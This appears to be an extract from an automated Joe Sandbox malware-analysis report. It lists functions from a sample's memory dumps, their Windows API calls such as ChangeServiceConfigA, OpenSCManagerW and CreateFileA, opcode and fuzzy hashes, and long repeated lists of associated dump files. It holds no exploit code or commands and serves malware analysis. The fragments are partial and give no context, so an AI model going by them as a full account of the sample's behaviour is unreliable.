Associated: 00000003.00000002.2543997525.0000000000559000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544016014.000000000055C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544039071.000000000056C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544065037.000000000056E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544091099.0000000000578000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544111971.0000000000579000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544144079.00000000005A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544164858.00000000005A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544183434.00000000005A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544201814.00000000005AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544264356.00000000005CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544285696.00000000005CC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_G9H9BE2GP1UE0C9AS5I0G1FKO.jbxd

Similarity

API ID: LibraryLoad
String ID: Uaw
API String ID: 1029625771-2529671731
Opcode ID: bc7022262dad333f90d97e29284a0c36ad1fbec04eda5ca6be2f5b6475ca964a
Instruction ID: 595a814b3b3634118acf48fc2c53b6ac78cfcff9a85cafff40ab6565afc0268b
Opcode Fuzzy Hash: bc7022262dad333f90d97e29284a0c36ad1fbec04eda5ca6be2f5b6475ca964a
Instruction Fuzzy Hash: 4341C2F7908620AFE301AA09DD415ABFBE9EF96770F26442EF9C493700E6715D0486A7

Function 04A115C4 Relevance: 1.8, APIs: 1, Instructions: 304
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 04A118C8

Memory Dump Source

Source File: 00000003.00000002.2546493397.0000000004A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a10000_G9H9BE2GP1UE0C9AS5I0G1FKO.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: bfc46806bba5df9bc83bfb3187d3c43c117d1d6899fe879ea03d02aa62cb0d03
Instruction ID: 565d967ae193315c0ad0650f76dd23c4292f2ddb881b6861f4efae53dad8bd9d
Opcode Fuzzy Hash: bfc46806bba5df9bc83bfb3187d3c43c117d1d6899fe879ea03d02aa62cb0d03
Instruction Fuzzy Hash: 0CC17970D102599FDB10CFA9C9857AEBBF2FB48314F148629ED64E72A4D774A881CF81

Function 004A9990 Relevance: 1.6, APIs: 1, Instructions: 78
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,?,?), ref: 004A9A80

Memory Dump Source

Source File: 00000003.00000002.2543331615.00000000004A5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2543013414.0000000000320000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543038725.0000000000322000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543060616.0000000000326000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543086398.000000000032A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543126338.0000000000336000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543236747.0000000000490000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543260182.0000000000492000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543285706.00000000004A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543311057.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543331615.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543372367.00000000004B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543391406.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543411962.00000000004B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543434571.00000000004B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543453206.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543475183.00000000004BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543499825.00000000004C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543522393.00000000004C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543543200.00000000004C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543563179.00000000004CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543582872.00000000004CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543602722.00000000004CE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543627876.00000000004E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543650454.00000000004F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543673403.00000000004FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543695502.00000000004FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543721184.0000000000511000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543742814.0000000000519000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543763616.000000000051A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543788308.000000000051E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543813132.000000000051F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543839244.0000000000524000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543864709.0000000000539000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543885484.000000000053B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543908403.0000000000547000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543930569.0000000000548000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543950670.0000000000549000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543976718.0000000000551000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543997525.0000000000559000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544016014.000000000055C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544039071.000000000056C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544065037.000000000056E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544091099.0000000000578000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544111971.0000000000579000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544144079.00000000005A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544164858.00000000005A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544183434.00000000005A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544201814.00000000005AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544264356.00000000005CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544285696.00000000005CC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_G9H9BE2GP1UE0C9AS5I0G1FKO.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f11115c54b155bbf2704df87b47f2b7313fabe2e77b694e35e61d3b816fcce38
Instruction ID: a2aaa5ed32d658ba920a1ff76d4c3a15d130214d248c191d5b39b9625ee8cc37
Opcode Fuzzy Hash: f11115c54b155bbf2704df87b47f2b7313fabe2e77b694e35e61d3b816fcce38
Instruction Fuzzy Hash: 441108EB15D1927DA201C5195E50EFB63ACE5F7730B70C41FF502C6652D25C4E4A523E

Function 004A9B8B Relevance: 1.6, APIs: 1, Instructions: 77
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(C77232F3,004A9B82,00000003,00000000,00000003), ref: 004A9C60

Memory Dump Source

Source File: 00000003.00000002.2543331615.00000000004A5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2543013414.0000000000320000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543038725.0000000000322000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543060616.0000000000326000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543086398.000000000032A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543126338.0000000000336000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543236747.0000000000490000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543260182.0000000000492000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543285706.00000000004A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543311057.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543331615.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543372367.00000000004B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543391406.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543411962.00000000004B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543434571.00000000004B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543453206.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543475183.00000000004BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543499825.00000000004C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543522393.00000000004C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543543200.00000000004C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543563179.00000000004CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543582872.00000000004CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543602722.00000000004CE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543627876.00000000004E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543650454.00000000004F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543673403.00000000004FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543695502.00000000004FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543721184.0000000000511000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543742814.0000000000519000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543763616.000000000051A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543788308.000000000051E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543813132.000000000051F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543839244.0000000000524000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543864709.0000000000539000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543885484.000000000053B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543908403.0000000000547000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543930569.0000000000548000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543950670.0000000000549000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543976718.0000000000551000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543997525.0000000000559000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544016014.000000000055C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544039071.000000000056C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544065037.000000000056E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544091099.0000000000578000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544111971.0000000000579000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544144079.00000000005A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544164858.00000000005A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544183434.00000000005A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544201814.00000000005AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544264356.00000000005CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544285696.00000000005CC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_G9H9BE2GP1UE0C9AS5I0G1FKO.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: fe7133a66afa727d235f7554a1e9969c6cacc4d165b1069a2fe49bc9893e0adc
Instruction ID: a8e74853b6dd7b43f34e6b2945db6190b11140c1ac2c22c5da6c832230f14d23
Opcode Fuzzy Hash: fe7133a66afa727d235f7554a1e9969c6cacc4d165b1069a2fe49bc9893e0adc
Instruction Fuzzy Hash: C41125B72485257DB7028A996B90DBFB7EDF6F3731B30442BF501C6846D2881C09623C

Function 004A9B60 Relevance: 1.6, APIs: 1, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(C77232F3,004A9B82,00000003,00000000,00000003), ref: 004A9C60

Memory Dump Source

Source File: 00000003.00000002.2543331615.00000000004A5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2543013414.0000000000320000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543038725.0000000000322000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543060616.0000000000326000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543086398.000000000032A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543126338.0000000000336000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543236747.0000000000490000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543260182.0000000000492000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543285706.00000000004A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543311057.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543331615.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543372367.00000000004B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543391406.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543411962.00000000004B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543434571.00000000004B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543453206.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543475183.00000000004BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543499825.00000000004C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543522393.00000000004C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543543200.00000000004C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543563179.00000000004CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543582872.00000000004CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543602722.00000000004CE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543627876.00000000004E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543650454.00000000004F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543673403.00000000004FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543695502.00000000004FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543721184.0000000000511000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543742814.0000000000519000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543763616.000000000051A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543788308.000000000051E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543813132.000000000051F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543839244.0000000000524000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543864709.0000000000539000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543885484.000000000053B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543908403.0000000000547000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543930569.0000000000548000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543950670.0000000000549000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543976718.0000000000551000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543997525.0000000000559000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544016014.000000000055C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544039071.000000000056C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544065037.000000000056E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544091099.0000000000578000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544111971.0000000000579000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544144079.00000000005A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544164858.00000000005A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544183434.00000000005A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544201814.00000000005AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544264356.00000000005CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544285696.00000000005CC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_G9H9BE2GP1UE0C9AS5I0G1FKO.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 98a3e958ff10a67a7d5df65d04593961b57fa133f7d6efaa5b83855c6c1dff18
Instruction ID: 96ca82520e5a717a79377b9b7c4f58510928db033c374a240ae35cfceb8d718b
Opcode Fuzzy Hash: 98a3e958ff10a67a7d5df65d04593961b57fa133f7d6efaa5b83855c6c1dff18
Instruction Fuzzy Hash: 8A0104B32484656EF7029A956BA0AFE77A9E7E3331B30442BE402C7542D2980D096239

Function 004A9BC4 Relevance: 1.6, APIs: 1, Instructions: 67
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(C77232F3,004A9B82,00000003,00000000,00000003), ref: 004A9C60

Memory Dump Source

Source File: 00000003.00000002.2543331615.00000000004A5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2543013414.0000000000320000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543038725.0000000000322000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543060616.0000000000326000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543086398.000000000032A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543126338.0000000000336000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543236747.0000000000490000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543260182.0000000000492000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543285706.00000000004A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543311057.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543331615.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543372367.00000000004B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543391406.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543411962.00000000004B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543434571.00000000004B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543453206.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543475183.00000000004BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543499825.00000000004C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543522393.00000000004C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543543200.00000000004C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543563179.00000000004CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543582872.00000000004CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543602722.00000000004CE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543627876.00000000004E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543650454.00000000004F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543673403.00000000004FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543695502.00000000004FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543721184.0000000000511000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543742814.0000000000519000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543763616.000000000051A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543788308.000000000051E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543813132.000000000051F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543839244.0000000000524000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543864709.0000000000539000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543885484.000000000053B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543908403.0000000000547000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543930569.0000000000548000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543950670.0000000000549000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543976718.0000000000551000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543997525.0000000000559000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544016014.000000000055C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544039071.000000000056C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544065037.000000000056E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544091099.0000000000578000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544111971.0000000000579000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544144079.00000000005A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544164858.00000000005A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544183434.00000000005A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544201814.00000000005AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544264356.00000000005CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544285696.00000000005CC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_G9H9BE2GP1UE0C9AS5I0G1FKO.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 6c57364b157b2922b058e9daaafc0321b7539698f643bb2bb267bad0abfc69f7
Instruction ID: 23fe022e2b031571cfcf9aa6a33e7957b767055cceea46c5127c311b0fbed662
Opcode Fuzzy Hash: 6c57364b157b2922b058e9daaafc0321b7539698f643bb2bb267bad0abfc69f7
Instruction Fuzzy Hash: FE01F7B72884253DA642C9996B50AFB77EDE6E3731B30442BF505C7542D2880D096238

Function 04A10D42 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04A10DCD

Memory Dump Source

Source File: 00000003.00000002.2546493397.0000000004A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a10000_G9H9BE2GP1UE0C9AS5I0G1FKO.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 3feb56fe19a5196b6a8008f497933190363771c23b665efec7e6815356effe37
Instruction ID: 4f284f8cb4f2393e92662cd601b718a2ad411ab3df3f8b95c6e3754fb06488cd
Opcode Fuzzy Hash: 3feb56fe19a5196b6a8008f497933190363771c23b665efec7e6815356effe37
Instruction Fuzzy Hash: EB2165B6C00219CFCB00CF99D884BDEFBB0FF88320F14812AD808AB244D774A945CBA0

Function 004A99C2 Relevance: 1.6, APIs: 1, Instructions: 62
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,?,?), ref: 004A9A80

Memory Dump Source

Source File: 00000003.00000002.2543331615.00000000004A5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2543013414.0000000000320000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543038725.0000000000322000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543060616.0000000000326000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543086398.000000000032A000.00000040.00000001.01000000.00000006.sdmpDownload File
